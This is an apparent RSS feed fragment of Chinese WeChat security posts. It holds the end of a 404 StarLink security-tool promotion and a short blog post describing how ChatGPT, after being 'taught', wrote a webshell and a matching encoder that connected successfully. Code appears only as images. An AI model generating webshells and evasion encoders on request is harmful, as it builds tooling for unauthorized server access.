PingFangTC-light;">可用于对网卡性能、CPU的网络报文处理能力进行测试</span></p></li><li style="font-family: Optima-Regular, PingFangTC-light;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">压测场景下，可作为高性能的HTTP Server或HTTP Client单独使用</span></p></li></ul></ul><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></p></section></section></section><section data-role="paragraph"><section data-role="list"><p style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;outline: 0px;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 1.75em;text-align: center;visibility: visible;"><br/></p><p style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;outline: 0px;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 1.75em;text-align: center;visibility: visible;"><br/></p><section data-role="outer" label="edit by 135editor" style="margin-bottom: 0px;"><section data-tools="135编辑器" data-id="107447" data-color="#212122"><section style="margin: 10px auto;text-align: center;"><section style="padding: 30px 25px;background-color: rgb(33, 33, 34);"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 20px;letter-spacing: 1.5px;color: rgb(33, 33, 34);"><img class="rich_pages wxw-img" data-ratio="0.935251798561151" style="vertical-align: inherit;box-sizing: border-box;width: 32px;" data-type="png" data-w="139" data-width="32px" width="32" src="https://wechat2rss.xlab.app/img-proxy/?k=b034e08f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT1X9iaqKYiaL9HmCmvyiavsczRsDHmjR8Q2icvdQ6Fr0jNN7w66O5lvqaf060zYO0OfuuC63lCbebazPQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 15px;color: rgb(30, 155, 232);">关于404星链计划</span></strong><br/></span></section></section><section data-width="100%" style="margin-top: 4px;margin-bottom: 20px;width: 528px;height: 1px;background-color: rgb(51, 51, 51);overflow: hidden;"><br/></section><section style="margin-top: 15px;padding: 20px;background-color: rgb(255, 255, 255);"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><br/></section><section data-autoskip="1" style="margin-top: 10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(0, 0, 0);background: transparent;"><p hm_fix="347:456" style="vertical-align: inherit;"><span style="color: rgb(34, 34, 34);letter-spacing: 0.544px;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">「404星链计划」是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，<strong>筛选优质、有意义、有趣、坚持维护的开源安全项目</strong>，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。为了更清晰地展示和管理星链计划的开源项目，2021年11月22日我们将1.0和2.0整合，推出改版后的「404星链计划」。</span></p><p hm_fix="347:456" style="vertical-align: inherit;"><br/></p><p hm_fix="347:456" style="vertical-align: inherit;"><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(34, 34, 34);letter-spacing: 0.544px;font-size: 15px;">目前，<span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">「</span>404星链计划<span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">」</span>已收录了</span><strong><span style="color: rgb(34, 34, 34);letter-spacing: 0.544px;font-size: 15px;">包括甲方工具、信息收集、</span><span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;">漏洞探测、攻击与利用、信息分析、内网工具等多种类共超过60个优质开源安全工具</span></strong><span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;">，备受安全行业瞩目与欢迎，成为热门的工具使用与交流阵地。</span></span></p><p hm_fix="347:456" style="vertical-align: inherit;"><span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p hm_fix="347:456" style="vertical-align: inherit;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages wxw-img" data-ratio="1" style="height: 20px !important;max-height: 20px !important;width: 20px !important;" data-w="64" src="https://wechat2rss.xlab.app/img-proxy/?k=ff7ad822&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UP5I9zC6SfYqHlOgqWkpf0vgBwMY1lvyW9cmeecz2kW6VedgHB9y31Q%2F640%3Fwx_fmt%3Dpng"/>「</span><span style="color: rgb(34, 34, 34);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 0.544px;"><span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">404星链计划」</span>项目更新、演示视频等，可查看：</span></p><p hm_fix="347:456" style="vertical-align: inherit;"><span style="text-decoration: underline;font-size: 15px;letter-spacing: 0.544px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;"><a href="https://github.com/knownsec/404StarLink" target="_blank">https://github.com/knownsec/404StarLink</a></span></p><p hm_fix="347:456" style="vertical-align: inherit;"><span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><p hm_fix="347:456" style="vertical-align: inherit;"><span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages wxw-img" data-ratio="1" style="height: 20px !important;max-height: 20px !important;width: 20px !important;" data-w="64" src="https://wechat2rss.xlab.app/img-proxy/?k=ff7ad822&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UP5I9zC6SfYqHlOgqWkpf0vgBwMY1lvyW9cmeecz2kW6VedgHB9y31Q%2F640%3Fwx_fmt%3Dpng"/> 如果你的开源安全项目有意加入<span style="color: rgb(34, 34, 34);font-size: 15px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">「404星链计划」</span>，请在 Github issue 中提交项目申请：</span></p><p hm_fix="347:456" style="vertical-align: inherit;"><span style="color: rgb(136, 136, 136);font-size: 15px;letter-spacing: 0.544px;text-decoration: underline;font-family: Optima-Regular, PingFangTC-light;"><a href="https://github.com/knownsec/404StarLink/issues" target="_blank">https://github.com/knownsec/404StarLink/issues</a></span></p><p hm_fix="347:456" style="vertical-align: inherit;"><br/></p></section></section></section></section></section></section><p style="margin-right: 8px;margin-bottom: 0px;margin-left: 8px;outline: 0px;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 1.75em;text-align: center;visibility: visible;"><br/></p></section></section></section></section></section></section><section data-role="paragraph"><section data-tools="135编辑器" data-id="106854" data-color="#212122"><section><section><section><section><section data-role="paragraph"><section data-role="paragraph" style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section data-role="splitline" data-tools="135编辑器" data-id="102164" data-color="#212122" style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(51, 51, 51);font-size: 17px;text-align: justify;text-decoration-thickness: initial;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><section style="margin: 10px auto;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section hm_fix="365:530" style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;display: flex;justify-content: center;align-items: center;"><section style="margin: 6px 0px 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;flex: 1 1 0%;background-image: linear-gradient(to right, #f5f5f4 0%, #1e9be8 100%);height: 1px;overflow: hidden;"><br style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"/></section><section style="margin: 0px 6px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box;width: 30px;"><section style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box;width: 25px;"><img class="rich_pages wxw-img" data-w="139" data-type="png" data-width="100%" title="图形-彩.png" style="margin: 0px;padding: 0px;vertical-align: inherit;box-sizing: border-box;width: 100%;display: block;height: auto !important;overflow-wrap: break-word !important;" data-ratio="0.935251798561151" src="https://wechat2rss.xlab.app/img-proxy/?k=b034e08f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT1X9iaqKYiaL9HmCmvyiavsczRsDHmjR8Q2icvdQ6Fr0jNN7w66O5lvqaf060zYO0OfuuC63lCbebazPQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin: 6px 0px 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;flex: 1 1 0%;background-image: linear-gradient(to left, #f5f5f4 0%, #1e9be8 100%);height: 1px;overflow: hidden;"><br/></section></section></section></section><p style="margin: 0px 8px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-size: 17px;text-align: justify;text-decoration-thickness: initial;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></p><p style="margin: 0px 8px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-size: 17px;text-decoration-thickness: initial;line-height: 1.75em;text-align: left;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 15px;orphans: 4;white-space: pre-wrap;text-align: justify;">想要学习和交流开源安全工具的朋友可以</span><span style="font-size: 15px;orphans: 4;white-space: pre-wrap;text-align: justify;outline: 0px;">加入404星链计划社群</span><span style="font-size: 15px;orphans: 4;white-space: pre-wrap;text-align: justify;">，</span><span style="font-size: 15px;orphans: 4;white-space: pre-wrap;text-align: justify;outline: 0px;caret-color: rgba(0, 0, 0, 0);">请扫码识别运营菜菜子微信二维码，添加时备注“星链计划”。</span><br/></span></p><p style="margin: 0px 8px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-size: 17px;text-align: justify;text-decoration-thickness: initial;outline: 0px;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-size: 17px;text-align: justify;text-decoration-thickness: initial;outline: 0px;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"/></p><p style="margin: 0px 0px 0em;padding: 0px;clear: both;min-height: 1em;max-width: 100%;font-size: 17px;text-decoration-thickness: initial;outline: 0px;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img __bg_gif" data-galleryid="" data-ratio="1" style="margin: 0px;padding: 0px;vertical-align: bottom;outline: 0px;color: rgb(51, 51, 51);caret-color: rgba(0, 0, 0, 0);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;font-size: 17px;text-align: center;display: initial;height: auto !important;overflow-wrap: break-word !important;box-sizing: border-box !important;width: 229px !important;visibility: visible !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=b886fadd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT2NAZUwSWczFcDkibjIKD9udCavb6GxNkaRbxCpdxRglHic78lZq1HhqdhJQ0UfW1W1wVTDJWY2dQsQ%2F640%3Fwx_fmt%3Dgif"/></p><section style="margin: 0px 8px;padding: 0px;max-width: 100%;text-decoration-thickness: initial;outline: 0px;letter-spacing: 0.544px;text-align: center;font-size: 16px;color: rgb(53, 53, 53);background-color: rgb(255, 255, 255);line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;"><br/></section><section style="margin: 0px 8px;padding: 0px;max-width: 100%;text-decoration-thickness: initial;outline: 0px;letter-spacing: 0.544px;text-align: center;font-size: 16px;color: rgb(53, 53, 53);background-color: rgb(255, 255, 255);line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;"><br/></section><section style="margin: 0px 8px;padding: 0px;max-width: 100%;text-decoration-thickness: initial;outline: 0px;letter-spacing: 0.544px;text-align: center;font-size: 16px;color: rgb(53, 53, 53);background-color: rgb(255, 255, 255);line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, 黑体, Arial, sans-serif;"><img class="rich_pages __bg_gif wxw-img" data-fileid="503468052" data-ratio="1" data-s="300,640" style="margin: 0px;padding: 0px;height: auto !important;overflow-wrap: break-word !important;vertical-align: bottom;outline: 0px;display: initial;box-sizing: border-box !important;visibility: visible !important;width: 55px !important;" data-type="gif" data-w="55" src="https://wechat2rss.xlab.app/img-proxy/?k=d5b99b98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT0Z79Hq9GCticVica4ufkjk5xiarRicG97E3oEcibNSrgdGSsdicWibkc8ycazhQiaA81j3o0cvzR5x4kRIcQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin: 0px 8px;padding: 0px;max-width: 100%;text-decoration-thickness: initial;outline: 0px;text-align: center;font-size: 16px;color: rgb(62, 62, 62);letter-spacing: 0.54px;background-color: rgb(255, 255, 255);line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-family: Optima-Regular, PingFangTC-light;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;outline: 0px;"><span style="margin: 0px;padding: 0px;max-width: 100%;outline: 0px;letter-spacing: 0.5px;font-size: 15px;overflow-wrap: break-word !important;box-sizing: border-box !important;">往 期 热 门</span></strong></span></section><section style="margin: 0px 8px;padding: 0px;max-width: 100%;text-decoration-thickness: initial;outline: 0px;text-align: center;font-size: 16px;color: rgb(62, 62, 62);letter-spacing: 0.54px;background-color: rgb(255, 255, 255);line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;outline: 0px;font-size: 12px;color: rgb(136, 136, 136);letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;overflow-wrap: break-word !important;box-sizing: border-box !important;">(点击图片跳转）</span></section><section style="margin: 0px 8px;padding: 0px;max-width: 100%;text-decoration-thickness: initial;outline: 0px;text-align: center;font-size: 16px;color: rgb(62, 62, 62);letter-spacing: 0.54px;background-color: rgb(255, 255, 255);line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;outline: 0px;font-size: 12px;color: rgb(136, 136, 136);letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></span></section><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650966920&amp;idx=1&amp;sn=b8dc2fdf73c90dc742148f4dfad3e8dc&amp;chksm=8079c9bab70e40ac94b3e28caad92f9e98f4f4cb370b1ee0d06f938e5d0a83160050b3b837e2&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" linktype="text" imgurl="" imgdata="null" data-itemshowtype="5" tab="innerlink" data-linktype="1"><span style="font-family: Optima-Regular, PingFangTC-light;"><span class="js_jump_icon h5_image_link"><img class="rich_pages wxw-img" data-ratio="0.6259259259259259" data-s="300,640" style="width: 66%;height: auto !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8f6f0f2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT2CJeHoC0u4SnOSQ7uh5O88BEUnMr9QGviakVn1mfKq90QVicAQjEJHcZSicYAX8tzwBzowdel1OUoicw%2F640%3Fwx_fmt%3Dpng"/></span></span></a></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&amp;mid=2650967380&amp;idx=1&amp;sn=93b24b7524b5a51d4d8f7c6b20dba40a&amp;chksm=8079cf66b70e46704e3ecde448a662d32fd96227c74711dd37aa8a020650e7ae97c520a4822e&amp;scene=21#wechat_redirect" textvalue="你已选中了添加链接的内容" linktype="text" imgurl="" imgdata="null" data-itemshowtype="5" tab="innerlink" data-linktype="1"><span style="font-family: Optima-Regular, PingFangTC-light;"><span class="js_jump_icon h5_image_link"><img class="rich_pages wxw-img" data-ratio="0.6259259259259259" data-s="300,640" style="width: 66%;height: auto !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da68d831&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT2mjTbextO0ia5JMxqJ4ydAgKLwnwcq3nurDchw8PuKMeUaq8mTkx2y5t2ZPsnluLtanAFESyUN67w%2F640%3Fwx_fmt%3Dpng"/></span></span></a></p><p style="text-align: center;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p></section></section><section data-role="paragraph"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.58375" data-s="300,640" style="" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=5e7a2ac3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT3BnohFTfovx8xftoWFTuCT1MRo5Dl4qusicddUyb4fhX04fIPFTcCbnZVpUHK0MJlhJfDJ1icZTqIA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section></section></section></section></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484601">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=21941b3c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484601%26idx%3D1%26sn%3Dc684c0c053b6a86c3f0f0ba2806f47f7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Apr 2023 18:59:00 +0800</pubDate>
    </item>
    <item>
      <title>用ChatGPT来生成编码器与配套WebShell</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484598&amp;idx=1&amp;sn=3b59424c1a1cc58697de17a60e7e5072</link>
      <description>2023年了，AI都会写编码器了你还不会?</description>
      <content:encoded><![CDATA[<p>
<span>Medicean</span> <span>2023-03-02 12:57</span> <span style="display: inline-block;">陕西</span>
</p>

<p>2023年了，AI都会写编码器了你还不会?</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bf5201da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3FW2x8JTWibSwxhhOowIXricQgQ3vqHHlG7RNX5OaRZuEqXrRabG5pI6YMibPgAj4Se86ia5j04F6iczg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在前面</span></strong><br/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;text-align: left;"><span style="font-size: 15px;">  突然想起来距离上次更新文章已经过去好几天了，所以赶紧水上一篇，过几天再看看之前有没有欠的文章没写的。</span><br/></p><p style="margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 16px;"><strong>正文</strong></span></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;text-align: left;"><span style="font-size: 15px;">ChatGPT 一开始是不会写编码器的，</span><span style="font-size: 15px;color: rgb(255, 104, 39);">需要先教一下</span><span style="font-size: 15px;">，之后就可以正常发挥了。既然是水文就不多写啥了，看我屏幕:</span></p><p style="margin-bottom: 0px;"> <br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="4.369949494949495" data-s="300,640" style="" data-type="png" data-w="792" src="https://wechat2rss.xlab.app/img-proxy/?k=7350e156&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3FW2x8JTWibSwxhhOowIXric56ApahW6GcRHADf9noX0y7OsJzxkicJdBKmBBHEYn78g0xyEds86B1w%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;text-align: left;"><span style="font-size: 15px;">写的是有模有样的，熟悉代码的同学肯定能看出来ChatGPT给的这个是没啥问题的，不熟悉代码就测试一下:</span><br/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><strong><span style="font-size: 15px;">ChatGPT 给的 WebShell:</span></strong><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4758909853249476" data-s="300,640" style="" data-type="png" data-w="477" src="https://wechat2rss.xlab.app/img-proxy/?k=80f3ba9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3FW2x8JTWibSwxhhOowIXricxGexAlCicQYqM9OoItyYgrexMdicYJObVciaFJU0vaXZQ6oqbMPlzJ5pQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 15px;"><strong>添加 ChatGPT 写的编码器:</strong></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3833211411850768" data-s="300,640" style="" data-type="png" data-w="1367" src="https://wechat2rss.xlab.app/img-proxy/?k=e7f13891&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3FW2x8JTWibSwxhhOowIXricQmSiaC0juUmpO7j0u06b71tJibML0h0wnz0iaOt7zbBSOLB7BGMQpRYoQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><span style="font-size: 15px;"><strong>测试连接:</strong></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0826446280991735" data-s="300,640" style="" data-type="png" data-w="726" src="https://wechat2rss.xlab.app/img-proxy/?k=3b1997f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3FW2x8JTWibSwxhhOowIXricArSozZwfS6RkFB586ZBdLwBqY2Q37DZicVnejMpLacofHFaxUgnBPHg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.1428571428571428" data-s="300,640" style="" data-type="png" data-w="35" src="https://wechat2rss.xlab.app/img-proxy/?k=c315f1cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy060lXtb8YklejbUq0pljIExfycMZyTCNMysg0kO2PibsPSzsCWdIPiclsIt22OfyWmYtwRUqbhe9aw%2F640%3Fwx_fmt%3Dpng"/> <strong>妥!</strong></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在最后</span></strong><br/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;text-align: left;"><span style="font-size: 15px;">  @Mr6 提了个想法, 再多教教ChatGPT，然后整个接口出来做个插件，直接生成 WebShell 和 编码器、解码器。</span></p><p style="margin-bottom: 0px;text-align: left;"><br/></p><p style="white-space: normal;margin-bottom: 0px;"><br/></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;margin-bottom: 0px;"><br/></p><p style="white-space: normal;text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img" data-copyright="0" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" 